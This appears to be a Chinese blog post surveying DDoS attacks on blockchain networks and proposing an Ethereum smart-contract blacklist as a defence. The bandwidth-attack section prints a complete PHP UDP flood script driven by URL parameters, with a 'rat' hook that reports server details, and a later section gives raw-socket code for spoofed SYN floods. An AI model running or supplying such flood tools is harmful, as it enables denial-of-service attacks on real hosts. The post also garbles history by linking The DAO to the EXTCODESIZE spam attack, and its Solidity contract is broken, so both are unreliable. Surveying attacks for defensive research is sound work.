DDos攻击是网络安全中常见的攻击手段,也是危害比较大的手法之一。虽然DDos的概念提出的很早,但是区块链中的DDos攻击却是一个新鲜的内容,这个方向有许多新鲜的内容值得我们进行研究,包括基于区块链的攻击手法、基于区块链的防御手段等。
本文通过作者文献的阅读总结而来,包括了一些常见的攻击手段已经在文末根据区块链的特性总结出了一种防御DDos的方法模型,以提供一种idea为研究者创新。

一、DDos简介

2018年2月28日下午,全球著名的代码托管网站:GitHub遭受到了有史以来最大规模的DDoS攻击(分布式拒绝服务)。此次DDoS攻击以1.35TB/秒的流量冲击了GitHub平台,被业界称为是史上DDoS攻击之最,为应对此次攻击严重危害,GitHub站长无奈向国际著名的CDN服务商:Akamai求助,并为此付出了高昂的服务费用。

Dos(Denial of Service)是一种中断类型攻击。几乎所有以阻碍可用性为目的的攻击都可以归类为Dos攻击。详细来说,Dos攻击可以通过破坏物理网络组件,消化存储、带宽或者可用的资源来阻塞通信。例如Dos攻击可以使用恶意软件使节点的CPU时间达到极限或者通过触发错误指令使系统崩溃。

而本文不是讲述传统的Dos攻击,而是基于区块链的架构进行Dos攻击的解析。我们知道区块链是以P2P为架构进行的模板设计,而P2P的开放性会导致DDos攻击,处于网络中不同位置的节点可以共同发起Dos攻击以阻碍系统的正常运行。而这个过程需要进行综合利用一些攻击手法,例如攻击者需要获得大量Sybil节点,之后综合利用Eclipse攻击以达到控制节点的目的,之后就可以利用这些以控制的节点进行下一步的DDos的攻击。比如,攻击者成功注册到P2P系统中并获得了多个对等节点的权限,并在这些节点中植入僵尸进程,在指定时间内启动所有进程对目标设备发起攻击,而攻击者用自己的节点以及僵尸节点一同协作以达到被害者节点资源耗尽的目的。其可以发送大量的垃圾消息扰乱节点间的通信。入下图的DDos攻击图:

然而对于区块链系统来说,DDos的攻击的难度也是十分大的。区块链是一种真正的分布式系统,内置有节点通信防丢失的保护措施。到目前为止,最大的区块链是比特币。而比特币是一个真正开放的网络,但它的协议已成功阻止了几次对该网络的攻击尝试。许多不同机构的多个区块链节点都要受到攻击,然后才能席卷整个系统。当遇到DDoS攻击时,即使几个节点处于离线状态,区块链也拥有保护措施确保交易可以继续进行。当然,并非所有区块链网络都是相同的,特定网络的鲁棒性在很大程度上取决于该网络的多样性和节点数量及其哈希率。

二、DDos攻击形式详解

1 带宽攻击

简单来说,带宽攻击是使受害者节点的网络带宽耗尽,以达到拒绝服务攻击的效果。在区块链系统中,我们知道其在联盟链的场景下使用的通常是PBFT或者其他的改进版本算法。而在其节点共识过程中包括多播投票。而随着节点数量的增加,共识过程中的消息数目也会呈现直线增长。

我们知道,在区块链系统中倘若要同步一个数据需要大量的节点共同协作,其设计的网络输入与网络输出带宽均会非常高,节点网络的端口负荷将会十分严重。如果此时攻击者对相应的端口发起大量的带宽攻击,也许就会使用很小的代价使节点的网络资源耗尽。

下面我们看一段分析代码:

<?php
//设置脚本运行时间
set_time_limit(999999);
//攻击目标服务器ip
$host = $_GET['host'];
//攻击目标服务器端口
$port = $_GET['port'];
//攻击时长
$exec_time = $_GET['time'];
//每次发送字节数
$Sendlen = 65535;
$packets = 0;
//设置客户机断开不终止脚本的执行
ignore_user_abort(TRUE);
//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性
if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {
    if (StrLen($_GET['rat']) <> 0) {
        echo $_GET['rat'] . $_SERVER["HTTP_HOST"] . "|" . GetHostByName($_SERVER['SERVER_NAME']) . "|" . php_uname() . "|" . $_SERVER['SERVER_SOFTWARE'] . $_GET['rat'];
        exit;
    }
    echo "Warning to: opening";
    exit;
}
//step2. 设定发字符串$out,这里是“AAAAAAAAAA...”
for ($i = 0; $i < $Sendlen; $i++) {
    $out .= "A";
}
$max_time = time() + $exec_time;
//step3. 进行攻击,使用udp向目标服务器狠狠发串串
while (1) {
    $packets++;
    if (time() > $max_time) {
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
    if ($fp) {
        fwrite($fp, $out);
        fclose($fp);
    }
}
//step4. 攻击统计
echo "Send Host $host:$port<br><br>";
echo "Send Flow $packets * ($Sendlen/1024=" . round($Sendlen / 1024, 2) . ")kb / 1024 = " . round($packets * $Sendlen / 1024 / 1024, 2) . " mb<br><br>";
echo "Send Rate " . round($packets / $exec_time, 2) . " packs/s" . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . " mb/s";
?>

上述代码使用php进行编写,用以模拟带宽攻击的DDos过程。上述脚本中我们可以看到,我们需要设置脚本运行时间,这个参数设置的时间要大一些(代码中我们以999999代替),之后进行端口设置(在区块链中可以设置为其常用的应用端口)。

在代码中设立攻击字符串,之后向目标服务器疯狂发送。最后进行统计。

2 软件漏洞攻击

软件漏洞攻击是指攻击者利用软件程序设计缺陷或者漏洞进行攻击。例如在2016年的The Dao事件分叉出来的ETH就有由于软件设计中的一个漏洞被attacker利用,导致了以太坊的DDos攻击。

简单来介绍下本次以太坊攻击。

我们知道在以太坊机制中,加入用户要进行转账或者其他操作,其需要提前支付一定的手续费,这就是我们常说的gas机制。以太坊网络中的手续费是由gasPrice * gasUsed(其中Gas可以理解为“燃料”,而每次执行合约均要根据执行语句的属性消耗固定的燃料)。当燃料使用光后合约就不可以被继续执行了(会执行回滚操作)。

而上述的The Dao事件具体来说,矿工和节点需要花费很长的时间(20-60秒)来处理一些区块。造成这次攻击的原因是一个EXTCODESIZE 操作码,它具有相当低的gas价格,需要节点从磁盘中读取状态信息。攻击交易调用此操作码的频率大约是50000次每区块。这样的后果是,网络已大大放缓了,但没有共识故障或内存超载发生。简单来说,因为此操作消耗的gas值比较少,所以攻击者可以花费比较少的代价多次调用此操作,以使网络中充满了大量的垃圾信息。于是正常的通信就会受到严重的影响并破会整个节点网络。

3 CC攻击

CC攻击(Challenge Collapsar)是DDOS(分布式拒绝服务)的一种,前身名为Fatboy攻击,也是一种常见的网站攻击方法。攻击者通过代理服务器或者肉鸡向向受害主机不停地发大量数据包,造成对方服务器资源耗尽,一直到宕机崩溃。相比其它的DDOS攻击CC似乎更有技术含量一些。这种攻击你见不到真实源IP,见不到特别大的异常流量,但造成服务器无法进行正常连接。最让站长们忧虑的是这种攻击技术含量低,利用更换IP代理工具和一些IP代理一个初、中级的电脑水平的用户就能够实施攻击。

具体来说,CC攻击可以分为两种模式,第一是黑客利用代理地址进行访问,第二种是黑客利用大量肉鸡进行大量访问,而第二种攻击的难度比第一种要大,但是攻击成效更高,因为当攻击者掌握了大量的ip地址后,其访问均为正常访问,服务器waf很难进行定向的防御。

CC攻击防御方法

另外,防止服务器对外传送信息泄漏IP地址,最常见的情况是,服务器不要使用发送邮件功能,因为邮件头会泄漏服务器的IP地址。如果非要发送邮件,可以通过第三方代理(例如sendcloud)发送,这样对外显示的IP是代理的IP地址。

总之,只要服务器的真实IP不泄露,10G以下小流量DDOS的预防花不了多少钱,免费的CDN就可以应付得了。如果攻击流量超过20G,那么免费的CDN可能就顶不住了,需要购买一个高防的盾机来应付了,而服务器的真实IP同样需要隐藏

更详细的解决办法请参照。CC攻击

4 SYN洪泛攻击

SYN Flooding攻击是指恶意客户端发送了大量TCP/SYN包,并且以一个假的IP发送地址发送到目标主机,以达到消耗目标主机大量资源的目的。下面我们具体看一看攻击流程图:

下面讲解一下相关攻击代码:

/* 建立原始socket */
/* raw icmp socket(IPPROTO_ICMP):
 * 不用构建IP头部分,只发送ICMP头和数据。返回包括IP头和ICMP头和数据。
 * raw udp socket(IPPROTO_UDP):
 * 不用构建IP头部分,只发送UDP头和数据。返回包括IP头和UDP头和数据。
 * raw tcp socket(IPPROTO_TCP):
 * 不用构建IP头部分,只发送TCP头和数据。返回包括IP头和TCP头和数据。
 * raw raw socket(IPPROTO_RAW):
 * 要构建IP头部和要发送的各种协议的头部和数据。返回包括IP头和相应的协议头和数据。
 */
sockfd = socket (AF_INET, SOCK_RAW, IPPROTO_TCP);   
if (sockfd < 0)    
{
    perror("socket()");
    exit(1);
}
/* 当需要编写自己的IP数据包首部时,可以在原始套接字上设置套接字选项IP_HDRINCL.
 * 在不设置这个选项的情况下,IP协议自动填充IP数据包的首部.
 */
if (setsockopt (sockfd, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof (on)) < 0)
{
    perror("setsockopt()");
    exit(1);
}

/* 将程序的权限修改为普通用户 */
setuid(getpid());

之后我们定义ip首部struct ip。

struct ip{
    unsigned char       hl; /* header length */
    unsigned char       tos; /* type of service */
    unsigned short      total_len; /* total length */
    unsigned short      id; /* identification */
    unsigned short      frag_and_flags; /* fragment offset field */
#define IP_RF 0x8000 /* reserved fragment flag */
#define IP_DF 0x4000 /* dont fragment flag */
#define IP_MF 0x2000 /* more fragments flag */
#define IP_OFFMASK 0x1fff /* mask for fragmenting bits */
    unsigned char       ttl; /* time to live */
    unsigned char       proto; /* protocol */
    unsigned short      checksum; /* checksum */
    unsigned int        sourceIP; 
    unsigned int        destIP;
};

我们知道TCP的头部如下所示:

|----------------|----------------|-------------
     |     sport      |     dport      |
     |----------------|----------------|
     |               seq               |
     |---------------------------------|
     |               ack               | 20 Bytes
     |------|----|----|----------------|
     |lenres|    |flag|     win        |
     |------|----|----|----------------|
     |     sum        |     urg        |
     |----------------|----------------|-------------
     |             options             | 4 Bytes
     |---------------------------------|   

                    TCP头

我们知道该攻击要自行定义一个假的发送地址。所以定义TCP伪首部函数struct pseudohdr如下:

struct pseudohdr
{
    unsigned int        saddr;
    unsigned int        daddr;
    char                zero;
    char                protocol;
    unsigned short      length;
};

伪首部是一个虚拟的数据结构,其中的信息是从数据报所在IP分组头的分组头中提取的,既不向下传送也不向上递交,而仅仅是为计算校验和。这样的校验和,既校验了TCP&UDP用户数据的源端口号和目的端口号以及TCP&UDP用户数据报的数据部分,又检验了IP数据报的源IP地址和目的地址。伪报头保证TCP&UDP数据单元到达正确的目的地址。

下面放出一个python相关的攻击脚本:python 攻击脚本

5 Land攻击

在Land攻击中,攻击者向目标主机发送了大量的源地址与目的地址相同的包。目标地址接到包后就会向自己本身发送SYN-ACK包,这也就导致会回复ACK并创建一个空连接,从而自己跟自己说话占用了大量的资源。

严重的情况下导致目标系统瘫痪。

三、DDos防御机制

1 传统防御机制

我们如何应对DDoS攻击呢?具体来说在学术界和工业界从4个层面提出了相应的方法。其分别是:攻击防护、攻击检测、攻击溯源和攻击清理"。然而,任何单个组织都无法应对大规模的全网性DDoS 攻击。例如:DDoS攻击源离检测点非常远,基本检测点能够检测到DDoS攻击,也很难进行有效防御。因此,最近有一些研究工作指出需要跨组织的合作,实现对DDoS攻击的有效防治。其主要思想是:多个组织对自己区域内的网络实施DDoS攻击检测和防御,检测到DDoS攻击后,将攻击者信息共享给其他组织,这样一来,其他组织可以在DDoS攻击到来之前提前准备并展开防御。但是,现有跨组织联合防御方法存在一些缺陷,导致其不能很好的实施和部署。这些缺陷包括:需要修改现有网络基础设施、需要设计新的网络协议、资金耗费高等。

而我们在区块链系统中知道,例如以太坊是使用了gas机制来控制合约的执行数量以达到提高作恶成本的目的。而联盟链除了上述上述特点外,可以采用通用的网络解决方案(比如SSL/TLS)提供节点监控功能,并用以查看是否有可疑流量激增的行为,以便采取下一步行动。或者添加相应的过滤规则,过滤可疑数据包。

2 Fabric设计架构防御机制

我们知道,超级账本使用了PKI架构,而DDos攻击最大的特点就是有大量的节点参与,而对于区块链来说,能成功的认证节点的地址就意味着可以成功的身份认证。下面具体讲述下PKI架构:

由上述架构,Fabric可以使加入网络的节点合法化,从而针对节点地址统一管理,防止恶意节点的大量出现。

四、区块链在DDos防御中的应用构想

根据我们之前对区块链的了解,区块链具有智能合约的可编程性,并且其机制为去中心化不可篡改的。所以我们根据此特性进行了进一步设计。

于是我们提出:基于区块链技术的DDoS跨组织联合防御方法。本方法将代码部署在公有区块链以太坊(Ethereum)上,因此不需要修改现有的网络基础设施。我们在系统中设立了一个用户查询的列表,列表中存放用户黑名单,由于智能合约的可编程性,可以随时增删黑名单列表,也可以随时增删授权用户。因此,本方法能够很好的解决跨组织合作难以实施和部署成本高的问题。

简单来说,我们通过区块链平台可以设计攻击黑名单来存储恶意节点的ip地址,通过区块链的不可篡改、去中心化的特性,提供了增删黑名单功能、增删认证用户功能以及查询黑名单功能。并保持所有系统节点的列表内容一致性更新。其中,只有合约的开发者才能够增删认证用户,而通过认证的用户都可以增删黑名单,而所有的区块链用户都可以查询黑名单。而需要注意的是,合约开发者对用户的认证过程是在线下进行的,合约开发者可以在网络,上公布自己的联系方式,希望成为认证用户的组织则可以在线下联系合约开发者,通过开发者的审核后,则会成为认证用户。因此,本文假设开发者已经拥有了认证用户名单。

下面是设计的相关智能合约:(使用Solidty编写)部分核心代码

contract DDos{

    address owner;
    address[] users;
    unit32 attackers;

    function DDos(){
    owner = msg.sender;
    user.push(owner);
    }

    function addA(address addr)
    {
        if(msg.sender != owner) throw;
        user.push(addr);
    }

    function addAttacker(uint32 addr)
    {
        uint i;
        for(i = 0; i<users.length; i++){
        if(user[i] == msg.sender) break;

        attackers.push(addr);
        }
    }

function query() returns (unit32[]){
        return attackers;
}
}

上述代码中包括了添加合法用户、添加攻击者地址、查询攻击者等代码。其余的修改以及删除可以由用户自行添加。

五、总结以及参考链接

在黑客众多攻击方式中,DDoS攻击可以说是其中最常见的一个,通过大量合法的请求占用大量网络资源,使网络瘫痪,现在利用区块链技术,则可降低DDoS攻击的发生频率。

区块链的发展并不总是十分有前景的,尽管其有着在用户认证、数据保护、防DDoS攻击的天然架构优势,但是目前来看,其技术还未成熟、实际应用中还存在风险。所以本文提供的思想可以为后续的研究提供一种方向。

https://www.jinse.com/news/blockchain/37262.html

https://www.cnblogs.com/sochishun/p/7081739.html

https://www.cnblogs.com/sochishun/p/7081739.html

https://blog.csdn.net/jiange_zh/article/details/50446172

文中的图片均为笔者原创,内容为笔者阅读后进行的总结,需要转载请标注原文地址。谢谢!

源链接

Hacking more

...